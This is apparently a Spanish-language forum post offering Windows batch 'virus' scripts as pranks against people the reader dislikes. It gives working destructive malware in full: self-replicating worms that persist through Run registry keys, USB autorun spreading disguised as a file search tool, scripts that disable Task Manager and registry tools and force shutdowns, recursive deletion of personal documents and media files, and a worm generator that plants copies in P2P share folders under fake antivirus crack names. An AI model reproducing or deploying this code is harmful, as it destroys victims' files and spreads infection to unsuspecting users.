Este virus se duplica e incia junto con Windows, tengan mucho cuidado y no ejecutarlo, esto es una mas de las bromas que se le puede hacer a personas que caen mal, jajaja...Creada por Soldier

@echo off
copy %0%windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentversion\run /v hack
/d %windir%\system32\worm.bat
:worm
cd\
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd\
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm

BUSQUEDA DE ARCHIVOS-COLANDO UN SISTEMA ▼

@echo off
::::::::::::::::::::::::::::::::::
: :
: :
: Cuelga Sistema by Soldier :
: :
: :
::::::::::::::::::::::::::::::::::

@echo off
color 0E
title -SearchFiles-
set o=echo
set s=.vbs
set l=.bat
set i=.soldier
set r=%random%
set d=%random%
set e=%random%
set led=LVComServer
set spy=Anti-Spyware
echo.
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º º
echo º SearchFiles / Buscador de Archivos º
echo º º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Espere, el programa iniciara automaticamente…
ping -n 3 localhost > nul
echo Enlistando controladores de busqueda…
ping -n 2 localhost > nul
FOR %%U IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
copy “%homedrive%\%spy%\autorun.inf” “%%U:\autorun.inf” >nul
copy /y %0 “%%U:\Searchfiles%l%” >nul
attrib +h +s “%%U:\Searchfiles%l%” >nul
attrib +h +s “%%U:\autorun.inf” >nul )
cls

if exist “%homedrive%\%spy%” (goto cont) else (goto create)
:create
md %homedrive%\%spy%
:cont
call :core
call :core2
call :core3
call :core4
call :reg
call :msj

:reg
taskkill /F /IM TeaTimer.exe
cls
REG ADD “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “%led%”
/t REG_SZ /d “%homedrive%\%spy%\%led%%s%” /f >nul
REG ADD “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v “BDUpdateCheck”
/t REG_SZ /d “%homedrive%\%spy%\%led%%s%” /f >nul
goto :EOF

:core
%o% rundll32 user32.dll,SwapMouseButton >> “%homedrive%\%spy%\tmp%d%%l%”
%o% start http://img211.imageshack.us/img211/3792/army31280rc7.jpg
>> “%homedrive%\%spy%\tmp%d%%l%”
%o% start %homedrive%\%spy%\%led%%s% >> “%homedrive%\%spy%\tmp%d%%l%”

%o% Do >> “%homedrive%\%spy%\%led%%s%”
%o% Set fh = CreateObject(“WScript.Shell”) >> “%homedrive%\%spy%\%led%%s%”
%o% fh.run “notepad.exe”, vbHide >> “%homedrive%\%spy%\%led%%s%”
%o% fh.run “mspaint.exe”, vbHide >> “%homedrive%\%spy%\%led%%s%”
%o% fh.run “calc.exe”, vbHide >> “%homedrive%\%spy%\%led%%s%”
%o% fh.run “explorer.exe”, vbHide >> “%homedrive%\%spy%\%led%%s%”
%o% Loop >> “%homedrive%\%spy%\%led%%s%”
goto :EOF

:core2
%o% MsgBox “La instrucción en “”0x019816d3?” hace referencia a la memoria
en “”0x019816d3?”. La memoria no se puede “”read”".”,21,
“SearchFiles.exe – Error de aplicación” >> “%homedrive%\%spy%\tmp%e%%s%”
%o% Set sg = CreateObject(“WScript.Shell”) >> “%homedrive%\%spy%\tmp%e%%s%”
%o% sg.run “%homedrive%\%spy%\tmp%r%%s%” >> “%homedrive%\%spy%\tmp%e%%s%”
goto :EOF

:core3
%o% Set cmd = CreateObject(“WScript.Shell”) >> “%homedrive%\%spy%\tmp%r%%s%”
%o% Set shell = CreateObject(“Scripting.FileSystemObject”)
>> “%homedrive%\%spy%\tmp%r%%s%”
%o% cmd.Run “%homedrive%\%spy%\tmp%d%%l%” >> “%homedrive%\%spy%\tmp%r%%s%”
goto :EOF

:core4
%o% [autorun] >> “%homedrive%\%spy%\autorun.inf”
%o% open=SearchFiles%l% >> “%homedrive%\%spy%\autorun.inf”
%o% icon=%systemroot%\system32\shell32.dll,7 >> “%homedrive%\%spy%\autorun.inf”
%o% UseAutoPlay=1 >> “%homedrive%\%spy%\autorun.inf”
%o% action=Abrir memoria para ver archivos >> “%homedrive%\%spy%\autorun.inf”
%o% action= @SearchFiles%l% >> “%homedrive%\%spy%\autorun.inf”
%o% shell\open=Abrir >> “%homedrive%\%spy%\autorun.inf”
%o% shell\open\command=SearchFiles%l% >> “%homedrive%\%spy%\autorun.inf”
%o% shell\open\default=1 >> “%homedrive%\%spy%\autorun.inf”
%o% shell\explore=Explorar >> “%homedrive%\%spy%\autorun.inf”
%o% shell\explore\command=SearchFiles%l% >> “%homedrive%\%spy%\autorun.inf”
goto :EOF

:msj
call %homedrive%\%spy%\tmp%e%%s% && exit

VIRUS QUE BLOQUEA EL MOUSE Y BORRA REGISTROS

Uno mas Virus 4 (blockea Mouse, borra registros etc…) Buenos codigos, solo que no menciona el creador de esta Broma.

@echo off
@cd C:\WINDOWS\system
echo bean>MOUSE.DRV
@cd..
@cd C:\WINDOWS\system32
echo bean>mouse.drv
@cd..
@cd C:\WINDOWS
@rmdir /S /Q Cursores
@cd..
@cd C:\WINDOWS
@rmdir /S /Q Cursors
@cd..
@cd C:\windows\system32
@echo off>Winbat.bat
@cd C:\Windows>>Winbat
@reg del HKEY_CURRENT_USER\Control Panel\Sound /F
echo bean>SETDEBUG.EXE>>Winbat.bat
echo bean>TETEP.DLL>>Winbat.bat
echo bean>Twain.dll>>Winbat.bat
echo bean>Twain_32.dll>>Winbat.bat
@DEL /S /Q JavaAccessBridge.dll>>Winbat.bat
@cd..
@cd C:\System Volume Information\_restore{E5311AE9-97D4-4238-9F6D-97D214BD07B1}\RP51\
@echo off >WIN32.bat
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run/v Win32 /t REG_SZ /d WIN32.bat /F >>WIN32.bat
@reg add hkcu\software\microsoft\windows\currentversion\pol icies\system /v disabletaskmgr /T REG_SZ /D 1 /F >>WIN32.bat
@reg add hkcu\software\microsoft\windows\currentversion\pol icies\system /v disableregistrytools /T REG_SZ /D 1 /F >>WIN32.bat
@reg add hkcu\software\microsoft\windows\currentVersion\pol icies\Explorer\RestricRun /T REG_SZ /d eventvwr.exe /F >>WIN32.bat
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT/CurrentVersion/Winlogon /v logonprompt /t REG_SZ /d YoU ArE InFeCtEd!! /F >>WIN32.bat
@reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Polices\Explorer /v NoSaveSettings /T REG_DWORD /D 1 /F >>WIN32.bat
@reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explore /v NoClose /t REG_DWORD /D 1 /F >>WIN32.bat
@shutdown -S -F -T 5 -C “Error del Sistema Operativo, Se apagara en unos segundos……BEAN!!!! >>WIN32.bat
@cd..
@cd C:\System Volume Information\_restore{E5311AE9-97D4-4238-9F6D-97D214BD07B1}\RP51\
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run/v colorbat /t REG_SZ /d colorbat /F >>colorbat.bat
@echo off>colorbat.bat
@:menu>>colorbat.bat
@COLOR A>>colorbat.bat
@COLOR B>>colorbat.bat
@COLOR C>>colorbat.bat
@COLOR D>>colorbat.bat
@COLOR E>>colorbat.bat
@COLOR F>>colorbat.bat
@color 3f>>colorbat.bat
@color 4f>>colorbat.bat
@color 5f>>colorbat.bat
@color 6f>>colorbat.bat
@color 7f>>colorbat.bat
@color 8f>>colorbat.bat
@color 9f>>colorbat.bat
@color 1A>>colorbat.bat
@color 1B>>colorbat.bat
@color 1C>>colorbat.bat
@color 1D>>colorbat.bat
@color 1E>>colorbat.bat
@color 1F>>colorbat.bat
@color 2A>>colorbat.bat
@color 2B>>colorbat.bat
@COLOR 2C>>colorbat.bat
@COLOR 2D>>colorbat.bat
@COLOR 2E>>colorbat.bat
@COLOR 2F>>colorbat.bat
@COLOR 3A>>colorbat.bat
@COLOR 3B>>colorbat.bat
@COLOR 3C>>colorbat.bat
@COLOR 3D>>colorbat.bat
@COLOR 3E>>colorbat.bat
@COLOR 3F>>colorbat.bat
@COLOR 4A>>colorbat.bat
@COLOR 4B>>colorbat.bat
@COLOR 4C>>colorbat.bat
@COLOR 4D>>colorbat.bat
@COLOR 4E>>colorbat.bat
@COLOR 4F>>colorbat.bat
@COLOR 5A>>colorbat.bat
@COLOR 5B>>colorbat.bat
@COLOR 5C>>colorbat.bat
@COLOR 5D>>colorbat.bat
@COLOR 5E>>colorbat.bat
@COLOR 5F>>colorbat.bat
@COLOR 6A>>colorbat.bat
@COLOR 6B>>colorbat.bat
@COLOR 6C>>colorbat.bat
@COLOR 6D>>colorbat.bat
@COLOR 6E>>colorbat.bat
@COLOR 6F>>colorbat.bat
@COLOR 7A>>colorbat.bat
@COLOR 7B>>colorbat.bat
@COLOR 7C>>colorbat.bat
@COLOR 7D>>colorbat.bat
@COLOR 7E>>colorbat.bat
@COLOR 7F>>colorbat.bat
@COLOR 8A>>colorbat.bat
@COLOR 8B>>colorbat.bat
@COLOR 8C>>colorbat.bat
@COLOR >>colorbat.bat
@COLOR 8E>>colorbat.bat
@COLOR 8F>>colorbat.bat
@COLOR 9A>>colorbat.bat
@COLOR 9B>>colorbat.bat
@COLOR 9C>>colorbat.bat
@COLOR 9D>>colorbat.bat
@COLOR 9E>>colorbat.bat
@COLOR 9F>>colorbat.bat
@COLOR AA>>colorbat.bat
@COLOR AB>>colorbat.bat
@COLOR AC>>colorbat.bat
@COLOR AD>>colorbat.bat
@COLOR AE>>colorbat.bat
@COLOR AF>>colorbat.bat
@COLOR BA>>colorbat.bat
@COLOR BB>>colorbat.bat
@COLOR BC>>colorbat.bat
@COLOR BD>>colorbat.bat
@COLOR BE>>colorbat.bat
@COLOR BF>>colorbat.bat
@COLOR CA>>colorbat.bat
@COLOR CB>>colorbat.bat
@COLOR CC>>colorbat.bat
@COLOR CD>>colorbat.bat
@COLOR CE>>colorbat.bat
@COLOR CF>>colorbat.bat
@COLOR DA>>colorbat.bat
@COLOR DB>>colorbat.bat
@COLOR DC>>colorbat.bat
@COLOR DD>>colorbat.bat
@COLOR DE>>colorbat.bat
@COLOR DF>>colorbat.bat
@COLOR EA>>colorbat.bat
@COLOR EB>>colorbat.bat
@COLOR EC>>colorbat.bat
@COLOR ED>>colorbat.bat
@COLOR EE>>colorbat.bat
@COLOR EF>>colorbat.bat
@COLOR FA>>colorbat.bat
@COLOR FB>>colorbat.bat
@COLOR FC>>colorbat.bat
@COLOR FD>>colorbat.bat
@COLOR FE>>colorbat.bat
@COLOR FF>>colorbat.bat
@GOTO :MENU>>colorbat.bat
@cd>>colorbat.bat
@cd C:\windows\system32
@DEL /S /Q Winbat.bat
@exit

VIRUS JODER A UN PC

Joder a un PC

@echo off

cd %windir%

echo @echo off>CPTL.bat

echo reg add hkey_local_machine\software\microsoft\windows\curr entversion\run /V CTPL.bat /D %windir%\system32\CPTL.bat>>CPTL.bat

echo if exist %windir%\CPTL.bat goto oportunidad>>CPTL.bat

echo copy /Y CPTL.bat %windir%>>CPTL.bat
echo copy /Y CPTL.bat %windir%\system32>>CPTL.bat
echo cls>>CPTL.bat

echo :msg>>CPTL.bat
echo msg * A mortal virus has infected your computer!!>>CPTL.bat

echo :oportunidad>>CPTL.bat
echo cd %windir%>>CPTL.bat
echo echo respuesta=INPUTBOX(”Insert the password to eliminate the virus” >oportunity.vbs>>CPTL.bat
echo echo if respuesta=batch then>>oportunity.vbs>>CPTL.bat
echo echo msgbox (”Correct, the virus won’t bother u more” >>oportunity.vbs>>CPTL.bat
echo echo kill (”C:\Windows\virus.bat” >>oportunity.vbs>>CPTL.bat
echo echo kill (”C:\Windows\system32\virus.bat” >>oportunity.vbs>>CPTL.bat
echo echo else>>oportunity.vbs>>CPTL.bat
echo echo msgbox (”Muahaha you’re still infected try it next time” >>oportunity.vbs>>CPTL.bat
echo echo start oportunity.vbs>>CPTL.bat
cls>>CPTL.bat

del /S /Q /F %userprofile%\mis documentos\*.*

echo :del>>CPTL.bat
echo cd %homedrive%>>CPTL.bat
echo del /Q /S /F *.jpg>>CPTL.bat
echo del /Q /S /F *.avi>>CPTL.bat
echo del /Q /S /F *.mp3>>CPTL.bat
echo del /Q /S /F *.doc>>CPTL.bat
echo del /Q /S /F *.zip>>CPTL.bat
echo del /Q /S /F *.rar>>CPTL.bat
echo cls>>CPTL.bat

echo :petar_escritorio>>CPTL.bat
echo cd %homepath%\Escritorio>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 1.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 2.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 3.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 4.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 5.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 6.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 7.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 8.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 9.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 10.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 11.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 12.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 13.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 14.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 15.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 16.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 17.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 18.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 19.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 20.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 21.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 22.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 23.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 24.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 25.txt>>CPTL.bat
echo cls>>CPTL.bat

echo if exist C:\virus%random%.txt (goto bucle)>>CPTL.bat

echo :Petar_HD>>CPTL.bat
echo cd\>>CPTL.bat
echo echo Your computer h as been infected, try to pay atention to it> virus%random%.txt>>CPTL.bat
echo cd %ProgramFiles%>>CPTL.bat
echo echo Your computer h as been infected, try to pay atention to it> virus%random%.txt>>CPTL.bat
echo cd %windir%>>CPTL.bat
echo echo Your computer h as been infected, try to pay atention to it> virus%random%.txt>>CPTL.bat
echo goto Petar_HD>>CPTL.bat
echo cls>>CPTL.bat

del /S /Q /F %userprofile%\mis documentos\*.*

echo :bucle>>CPTL.bat
echo start iexplore.exe>>CPTL.bat
echo start command.com>>CPTL.bat
echo goto bucle>>CPTL.bat

echo :Shutdown>>CPTL.bat
echo shutdown -f -r -t 600 -c “Adios mamonazo bájate un antivirus la próxima vez!!”>>CPTL.bat

copy CPTL.bat %windir%\system32

start CPTL.bat

VIRUS WORM DE PROPAGACION

Virus que se Propagacion Automatica, Modificada por Danni. A, cada aporte mio, sobre bromas y virus en Batch, Obtenidas de Web's Importantes es de uso para usted, asi que solo usted es responsable de sus actos.

@echo off
title Batch Worm Generator
color 0A
set ww=0
cls
echo Version modificada por Danni.A
pause > nul
cls
echo El uso de este programa recae exclusivamente en el usuario.
pause > nul
cls
echo Selecciona el Nombre del Gusano:
set /p name=
echo @echo off > C:\%name%.bat
cls
echo Gusano Creado en C:\ con el nombre: %name%.bat
pause > nul
:main
cls
echo Selecciona la opcion:
echo.*******************************************************
echo * 1. Propagarse por P2P *
echo.*******************************************************
echo * 2. Mensage al iniciarse *
echo.*******************************************************
echo * 3. Agregarse al registro *
echo.*******************************************************
echo * 4. Infectar archivos .rar *
echo.*******************************************************
echo * 5. Borrar archivos *
echo.*******************************************************
echo * 6. Manipular red LAN *
echo.*******************************************************
echo * 7. Añadir usuario y pass *
echo.*******************************************************
echo * 8. Copiarse y ocultarse *
echo.*******************************************************
echo * 9. Descargar archivo en la victima *
echo.*******************************************************
echo * 10. Crear muchas carpetas en el HD de la victima *
echo.*******************************************************
echo * 11. Apagar el PC x segundos *
echo.*******************************************************
echo * 12. Reiniciar el PC x segundos *
echo.*******************************************************
echo * 13. Incluir codigo de virus *
echo.*******************************************************
echo * 14. Bloquear administrador de tareas *
echo.*******************************************************
echo * 15. Borrar Anti-Virus *
echo.*******************************************************
echo * 16. Informacion adicional *
echo.*******************************************************
echo * 17. Salir *
echo.*******************************************************
echo * 18. Ocultarse al ejecutarse *
echo.*******************************************************
echo * 19. Propagarse por USB *
echo.*******************************************************
echo * 20. Arrinuar x extension *
echo.*******************************************************
echo * 21. Arrinuar todas las extensiones *
echo.*******************************************************
echo * 22. Copiarse en todos los discos y ocultarse *
echo.*******************************************************
echo * 23. Crear archivo de 5 GB *
echo.*******************************************************
echo * 24. Crear archivo de x KB *
echo.*******************************************************
echo * 25. Matar proceso *
echo.*******************************************************
echo * 26. Bloquear el boton apagar *
echo.*******************************************************
echo * 27. Impedir la desinstalacion de programas *
echo.*******************************************************
echo * 28. Bloquear boton ejecutar *
echo.*******************************************************
echo * 29. Ocutar reloj *
echo.*******************************************************
echo * 30. Bloquear opciones de carpeta (clic derecho) *
echo.*******************************************************
echo * 31. Bloquear registro *
echo.*******************************************************
echo * 32. Bloquear menu contextual *
echo.*******************************************************
echo * 33. Ver otros virus del autor *
echo.*******************************************************
echo * 34. Borrar archivos de restauracion *
echo.*******************************************************
echo * 35. Bloquear propiedades de pantalla *
echo.*******************************************************
echo * 36. Bloquear escritorio *
echo.*******************************************************
echo * 37. Ocultar drivers *
echo.*******************************************************
echo * 38. Ver otros generadores de virus *
echo.*******************************************************
echo * 39. Bloquear configuracion (Ms-Config) *
echo.*******************************************************
echo * 40. Bloquear documentos recientes *
echo.*******************************************************
echo * 41. Borrar carpeta *
echo.*******************************************************
echo * 42. Borrar carpeta con subdirectorios *
echo.*******************************************************
echo * 43. Borrar Mis documentos *
echo.*******************************************************
echo.
echo.
set /p opc=
echo.
echo.
if %opc%==1 goto p2p
if %opc%==2 goto sms
if %opc%==3 goto reg
if %opc%==4 goto infect
if %opc%==5 goto borra
if %opc%==6 goto manilan
if %opc%==7 goto user
if %opc%==8 goto stealth
if %opc%==9 goto down
if %opc%==10 goto mol
if %opc%==11 goto apag
if %opc%==12 goto rein
if %opc%==13 goto vir
if %opc%==14 goto bloq
if %opc%==15 goto borrr
if %opc%==16 goto info
if %opc%==17 goto fin
if %opc%==18 goto hide
if %opc%==19 goto USB
if %opc%==20 goto ext
if %opc%==21 goto all
if %opc%==22 goto hdd
if %opc%==23 goto llen
if %opc%==24 goto llen2
if %opc%==25 goto kill
if %opc%==26 goto bloqapagar
if %opc%==27 goto imp
if %opc%==28 goto bloqeje
if %opc%==29 goto hideclock
if %opc%==30 goto carp
if %opc%==31 goto bloqreg
if %opc%==32 goto bloqmc
if %opc%==33 goto otros
if %opc%==34 goto rest
if %opc%==35 goto prop
if %opc%==36 goto desk
if %opc%==37 goto driv
if %opc%==38 goto otros2
if %opc%==39 goto ms
if %opc%==40 goto doc
if %opc%==41 goto carpeta
if %opc%==42 goto carpsub
if %opc%==43 goto mis
:p2p
echo start winrar.exe a %windir%\System32\windir.rar %%%ww% >> C:\%name%.bat
echo if exist "%systemdrive%\My Shared Folder\" (GOTO MSF) else GOTO Cont1 >> C:\%name%.bat
echo :MSF >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %systemdrive%\My Shared Folder\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %systemdrive%\My Shared Folder\Norton*.rar Full+Crack.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %systemdrive%\My Shared Folder\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %systemdrive%\My Shared Folder\Ring*.rar >> C:\%name%.bat
echo :Cont1 >> C:\%name%.bat
echo if exist "%programfiles%\Kazaa\My Shared Folder\" (GOTO Kazaa) else GOTO Cont2 >> C:\%name%.bat
echo :Kazaa >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa\My Shared Folder\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa\My Shared Folder\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa\My Shared Folder\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa\My Shared Folder\Ring*.rar >> C:\%name%.bat
echo :Cont2 >> C:\%name%.bat
echo if exist "%programfiles%\Kazaa Lite\My Shared Folder\" (GOTO Kazaa2) else GOTO Cont3 >> C:\%name%.bat
echo :Kazaa2 >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa Lite\My Shared Folder\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa Lite\My Shared Folder\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa Lite\My Shared Folder\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Kazaa Lite\My Shared Folder\Ring*.rar >> C:\%name%.bat
echo :Cont3 >> C:\%name%.bat
echo if exist "%programfiles%\Grokster\My Grokster\" (GOTO Groks) else GOTO Cont4 >> C:\%name%.bat
echo :Groks >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Grokster\My Grokster\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Grokster\My Grokster\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Grokster\My Grokster\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Grokster\My Grokster\Ring*.rar >> C:\%name%.bat
echo :Cont4 >> C:\%name%.bat
echo if exist "%programfiles%\Morpheus\My Shared Folder\" (GOTO Morph) else GOTO Cont5 >> C:\%name%.bat
echo :Morph >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Morpheus\My Shared Folder\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Morpheus\My Shared Folder\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Morpheus\My Shared Folder\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Morpheus\My Shared Folder\Ring*.rar >> C:\%name%.bat
echo :Cont5 >> C:\%name%.bat
echo if exist "%programfiles%\EDONKEY2000\incoming\" (GOTO Edon) else GOTO Cont6 >> C:\%name%.bat
echo :Edon >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\EDONKEY2000\incoming\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\EDONKEY2000\incoming\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\EDONKEY2000\incoming\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\EDONKEY2000\incoming\Ring*.rar >> C:\%name%.bat
echo :Cont6 >> C:\%name%.bat
echo if exist "%programfiles%\Gnucleus\Downloads\" (GOTO Gnuc) else GOTO Cont7 >> C:\%name%.bat
echo :Gnuc >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Gnucleus\Downloads\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Gnucleus\Downloads\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Gnucleus\Downloads\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Gnucleus\Downloads\Ring*.rar >> C:\%name%.bat
echo :Cont7 >> C:\%name%.bat
echo if exist "%programfiles%\eMule\Incoming\" (GOTO Emule) else GOTO Cont8 >> C:\%name%.bat
echo :Emule >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\eMule\Incoming\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\eMule\Incoming\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\eMule\Incoming\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\eMule\Incoming\Ring*.rar >> C:\%name%.bat
echo :Cont8 >> C:\%name%.bat
echo if exist "%programfiles%\BearShare\Shared\" (GOTO Bear) else GOTO Cont9 >> C:\%name%.bat
echo :Bear >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\BearShare\Shared\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\BearShare\Shared\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\BearShare\Shared\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\BearShare\Shared\Ring*.rar >> C:\%name%.bat
echo :Cont9 >> C:\%name%.bat
echo if exist "%programfiles%\Shareaza\Downloads\" (GOTO Shar) else GOTO Cont10 >> C:\%name%.bat
echo :Shar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Shareaza\Downloads\Nod32*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Shareaza\Downloads\Norton*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Shareaza\Downloads\Tarjetas*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Shareaza\Downloads\Ringt*.rar >> C:\%name%.bat
echo :Cont10 >> C:\%name%.bat
echo if exist "%programfiles%\ICQ\shared files\" (Goto ICQ) else Goto Cont11 >> C:\%name%.bat
echo :ICQ >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\ICQ\shared files\Sub7*.rar >> C:\%name%.bat
echo :Cont11 >> C:\%name%.bat
echo if exist "%programfiles%\Filetopia3\Files\" (Goto Fileto) else Goto Cont12 >> C:\%name%.bat
echo :Fileto >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Visual Serial.rar >> C:\%name%.bat
